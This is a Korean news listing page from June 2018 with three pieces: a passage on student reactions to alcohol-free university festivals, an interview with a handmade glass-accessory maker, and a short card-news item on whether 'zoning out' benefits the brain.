위해 줄을 서 있던 대학생 박초롱(22·여)씨는 불만을 나타냈다. 술을 사오는 과정도 쉽지 않았다. 학교 근처 편의점은 모두 주점 줄과 비슷하게 수많은 학생이 몰려 있어 한참 동안 기다린 후에야 겨우 계산할 수 있었다. 이 때문에 일각에서는 해당 정책이 결국 주변 상권 배만 불려주는 정책이라는 지적까지 나왔다.? 주점의 수가 줄어 길어진 줄을 기다리는 학생들(영상=스냅타임) 모든 불편은 학생들 몫 주점을 계획했던 학생들도 낭패를 겪었다. 교육부가 공문을 갑작스럽게 내린 바람에 이미 구매한 술을 환불해야했다. 그동안 학생회 운영비와 복지비 등으로 쓰였던 주류 판매비도 기대할 수 없었고, 술을 대신할 새로운 메뉴도 개발해야 했다. 주점 내부 모습(영상=스냅타임) 술 없는 대학 축제에 남은 것은?? 대학생 최민종(22·남)씨는 축제에 남은 게 뭔지 잘 모르겠다고 털어놨다. 오히려 주점의 빈자리를 채울 외부 업체를 찾을 수밖에 없기 때문에 비용만 더 드는 게 아니냐고 반문했다. "술 없앤 축제에 남은 게 뭐지? 연예인과 푸드트럭?" 축제의 한 켠을 가득 채운 푸드트럭(영상=스냅타임) 술은 정말 불필요했을까? "왜 주점의 순기능은 무시하고 안 좋은 점만 보는지 모르겠어." 학생들은 기성세대는 즐겼던 '대학의 낭만'을 이제와서 무시하는지 이해할 수 없다는 반응이다. 주점에서의 추억은 '대학 축제의 꽃'으로도 불린다.?주점을 준비하고 운영하며 학과와 동아리 구성원들 간의 유대 관계도 더욱 돈독해지는 순기능도 분명 있다는 것이다.? 주점은 개성을 드러내는 장이 되기도 했다.?대학생 김우현(26·남)씨는?2년 전부터 과 동기 4명과?축제 기간에 칵테일 부스를 열어 축제 분위기를 돋우곤 했다.? (영상=스냅타임) 기성세대에 묻는다? "술 없이도 즐길 수 있지 않느냐"며 변화가 필요한 시점이라는 기성세대. 기성세대에 대해 "즐길 것 다 즐겨놓고 이제 와서 꼰대처럼 군다"는 대학생. 대학생이 다시 '꼰대'에게 묻는다. "당신들은 다시 돌아간다면 술 있는 축제를 택할 것인가, 아니면 술 없는 축제를 택할 것인가." [박새롬, 강의령 인턴기자]
2018.06.18 I 강의령 기자
  • [스냅타임] "나만의 스토리를 만드세요"
  • “나만의 스토리가 중요한 것 같아요. (20대 친구들이) 다른 사람의 시선에 맞춰 살아가지 않았으면 좋겠어요.” 키미돌(28·본명 김세림)은 유리공예로 액세서리 작업을 하고 있다. ART & KIMYDOL GLASS 브랜드를 내걸고 활동하는 1인 기업의 대표다. 많은 20대가 꿈꾸는 1인 창업, 그 중 핸드메이드 작업을 하고 있는 키미돌은 같은 길을 걷고 싶어하는 20대에게 나만의 스토리의 중요성을 강조한다. 작품을 만들 때에 어떻게 만드는지보다는 항상 왜 만들었는지부터 생각하라고 이야기한다. (사진=스냅타임) 유리공예로 액세서리를 제작하는 꿈을 어떻게 꾸게 되셨나요? 누군가 액세서리를 선물해주면 그걸 다 해체해서 새로 조립하고 친구들에게 선물하는 게 취미였어요. 그러다 유리조형 전공이 있는 대학교가 있다는 것을 알게 돼 그곳으로 진학했어요. 중간에 2년 정도 휴학을 하고 유리공방에서 일도 배웠죠.? 그런데 대학원을 진학하고 취미로 핸드메이드 액세서리를 만들어서 팔다 보니 이게 너무 재밌고 잘 맞는다는 것을 알게 됐어요. 처음에는 지방의 프리마켓들에서만 판매를 하다가, 좀 더 본격적으로 일을 하고 싶어서 대학원 자퇴까지 하게 됐어요. 이 일을 본격적으로 시작한지 3년 정도 됐습니다. (사진=스냅타임) 지금까지의 길을 걸어오면서 어려웠던 점은? 좋아하는 일을 하는데도 행복하지 않아 슬럼프가 왔던 적이 있어요. 그 때 힘들다고 생각하기 보다는, 왜 그럴까를 계속 생각했어요. 그러다보니 그동안 제 자신보다 너무 물질적인 것에 가치를 뒀구나 하는 답을 얻었어요. 제가 원래 일 할 때에는 밥도 안 먹고, 친구도 안 만나고, 여행도 안 가고 그랬거든요. 남들이 봤을 때 성공한 삶이 나에게 성공이 아니었음을 깨달았던 것 같아요. 그때부터 여행도 가보고, 친구도 좀 만나야겠다고 생각했어요. 작품을 만들 때 영감은 어디서 얻나요? 그냥 막 떠올라요. 영화를 보다가도, 음악을 듣다가도, 햇살 좋은 날 가만히 앉아있다가도 떠올라요. 저의 장점이자 탤런트라고 생각해요. 예를 들어 작품 중에 모네 귀걸이는 모네 그림을 보다가 점으로 이어져 있는 색감이 좋다고 생각해서 만들게 됐고요. 대신 다른 분들의 작업은 잘 안 봐요. 정보를 수집하는 게 좋을 수도 있지만, 저 자신을 한계에 가둬두게 하는 것 같거든요.? (사진=아이디어스 키미돌 홈페이지) *아이디어스: 핸드메이드 / 수공예 작가들의 작품을 살 수 있는 온라인 장터 서비스 핸드메이드?시장의 전망은 어떤가요? 요즘 사회는 정형화된 상품과 정보가 가득하잖아요. 이렇게 효율과 결과, 속도를 중시하는 사회 속에서는 감성과 과정, 그리고 여유에 대한 결핍과 보충욕구도 있다고 생각해요. 핸드메이드는 그 결핍을 채워주는 하나의 삶의 방식이에요. 핸드메이드 작품에는 정교한 기계는 흉내 낼 수 없는 작가의 개성과 손맛, 그리고 철학이 담겨있어요.?저는 그것을 ‘얼’이 담겨있다고 표현하고 싶어요.?그리고 소비자 한명을 위한 하나의 작업은 소비 이상의 위안을 주는 것 같아요.? 이처럼 모든 창작이 단편화되지 않고, 다양한 가치를 창출할 수 있다면, 핸드메이드 시장은 무궁무진 할거라 생각해요. 핸드메이드 작품을 만들고 싶은 분들에게 들려주고 싶은 이야기는? 핸드메이드는 아이디어라고 생각해요. 다른 사람의 작품을 볼 때 이걸 어떻게 만드는지를 생각하면 카피가 되는데, 왜 만드는지를 생각하면 만든 이의 주관적인 것을 배울 수 있어요. 좋은 건 무조건 따라하는 게 아니라 왜 만들었을까를 먼저 생각하고, 그러면 나는 이런 걸 만들어 봐야겠다고 생각하는 게 중요해요. 즉 나만의 이야기를 풀어나가는 게 중요하다고 생각해요. (사진=아이디어스 키미돌 홈페이지) 지금도 열심히 꿈을 찾고 있는 20대에게 전하고 싶은 말은? 세 가지 이야기를 해주고 싶어요. 먼저 ‘남들처럼’이라는 잣대에 자신을 가두지 마세요. 꿈이 없어도, 돈이 없어도, 그릇이 작아도 괜찮아요. 우리는 서로 다양하고, 그만큼 삶을 살아가는 방식 또한 같을 수가 없잖아요. 그러니 남을 의식하지 말고 자신만을 믿었으면 좋겠어요. 두 번째로 성공은 돈이 아니에요. 제가 슬럼프를 겪으며 깨달았던 바와 같이 타인의 시선에서 증명할 수 있는 성공만이 진짜는 아니라고 생각해요.? 마지막으로 손해는 보되, 피해는 보지 말라고 얘기하고 싶어요. 인간관계에서 물질, 시간, 감정적인 손해는 필연적이에요. 작은 손해에는 웃어넘기는 태도도 필요한 것 같아요. 다만 손해가 쌓이면 어느 순간 피해가 발생할 수 있는데, 이럴 때는 현명한 대처법을 찾아야 해요. (사진=스냅타임) 저는 아직 대단한 사람도, 멋진 능력의 소유자도 아니지만 현재 많은 것을 배우고 성찰하며 성장하고 있어요. 제가 오늘 전한 이야기가 누군가에게 조금이나마 도움과 위안이 됐으면 좋겠어요.
2018.06.18 I 강의령 기자
  • [스냅타임] 멍 때리면 머리 좋아지나?
  • 이 사진 기억하시나요? 가수 크러쉬가 2년 전 제 2회 멍 때리기 대회에 출전해 우승을 거머쥔 모습인데요. 멍 때리기 대회는 이제 대만, 중국 등지에서까지 열릴 정도로 널리 퍼져나가고 있습니다. 이는 ‘바쁜 현대인의 뇌에 휴식을 주자’는 취지로 계획된 행사였는데요. 멍 때리기는 정말 뇌에 긍정적인 역할을 할까요? 미국의 신경과학자 마커스 라이클은 아무것도 하지 않을 때 뇌가 더 활성화 된다고 밝혔습니다. 몽상을 즐기거나 잘 때, 즉 뇌가 활동을 쉴 때에는 디폴트 모드 네트워크(DMN)가 가동됩니다. DMN은 집중력과 창의력을 높여주며, 단기기억을 장기기억으로 넘어가게 합니다. 겉보기에는 멈춘 듯이 보이지만, 뇌는 그동안 입력했던 정보를 정리하고 불필요한 것을 지워 새 생각을 하는 환경을 만드는 것입니다. 이 외에도 멍을 때릴 때에는 긴장이 풀어지고 몸의 피로도 줄일 수 있습니다. 하지만 습관적인 멍 때리기는 조심해야 합니다. 오히려 뇌세포 노화가 촉진돼 치매 가능성이 높아질 수 있기 때문입니다. 멍한 상태가 지속되면 건망증이 심해지고 우울, 불안 등이 잦아지며, 계산능력, 판단력이 떨어질 수도 있습니다. 과유불급인 멍 때리기! 바쁜 하루 속 자주는 말고 15분 정도만 멍 때리는 습관을 들이는 것은 어떨까요? [본 카드뉴스는 tyle.io를 통해 제작되었습니다.]
2018.06.17 I 강의령 기자

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